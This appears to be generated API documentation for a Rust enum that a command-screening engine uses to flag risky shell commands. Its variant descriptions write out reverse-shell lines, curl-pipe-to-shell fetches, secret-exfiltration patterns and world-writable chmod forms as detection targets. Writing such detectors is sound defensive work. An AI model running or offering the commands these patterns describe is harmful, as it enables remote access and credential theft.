Enum CommandPredicate 

pub enum CommandPredicate {
    CurlPipeSh,
    EnvToNetwork,
    ReverseShell,
    NetworkFetchToInterpreter,
    WorldWritableChmod,
    SudoPrefix,
    UntrustedPkgRegistry,
}

Variants

CurlPipeSh

Network-fetcher whose output is piped (directly or indirectly) into a shell interpreter. Catches curl ... | sh, wget -qO- ... | bash, curl ... | tee /tmp/x && sh /tmp/x, and similar “trust-on-first-use” supply-chain patterns.

EnvToNetwork

A command that reads a known secret source (.env, ~/.aws/credentials, ~/.ssh/id_*, kubectl get secret) AND writes to a network sink (curl -d, wget --post-data, nc <host>, an http*:// argument to a generic uploader) within the same command line. Either half alone is suspicious; both together is a near-certain exfiltration attempt.

ReverseShell

Known reverse-shell incantations: bash -i >& /dev/tcp/<host>/<port>, nc -e /bin/sh <host> <port>, python -c 'import socket,subprocess...', openssl s_client ... | /bin/sh, mkfifo back-channels, etc.

NetworkFetchToInterpreter

<network-fetcher> ... --output - | <interpreter> – a slightly more disguised supply-chain pattern that doesn’t literally pipe stdout but writes to -.

WorldWritableChmod

chmod 0?[0-7]7[0-7] (world-writable) or chmod -R 777 on broad path. Specifically not a single regex because we want to catch both numeric and symbolic forms (chmod a+rwx) on sensitive paths.

SudoPrefix

sudo prefix on a command that’s already destructive – used by the engine as a multiplier (escalates severity of the wrapped command).

UntrustedPkgRegistry

npm/pnpm/yarn/pip install ... --registry=<URL> or --index-url=<URL> where the URL does NOT point at the official registry. Rust’s regex crate doesn’t support negative lookahead, so this lives in code: parse out the URL, check it against a small allowlist of known-trusted hosts.

Implementations

impl CommandPredicate

pub fn parse(s: &str) -> Option<Self>

pub fn matches(&self, cmd: &str) -> bool

Trait Implementations

impl Clone for CommandPredicate

fn clone(&self) -> CommandPredicate

Returns a duplicate of the value.

fn clone_from(&mut self, source: &Self)

Performs copy-assignment from source.

impl Copy for CommandPredicate

impl Debug for CommandPredicate

fn fmt(&self, f: &mut Formatter<'_>) -> Result

Formats the value using the given formatter.

impl Eq for CommandPredicate

impl PartialEq for CommandPredicate

fn eq(&self, other: &CommandPredicate) -> bool

Tests for self and other values to be equal, and is used by ==.

fn ne(&self, other: &Rhs) -> bool

Tests for !=. The default implementation is almost always sufficient, and should not be overridden without very good reason.

impl StructuralPartialEq for CommandPredicate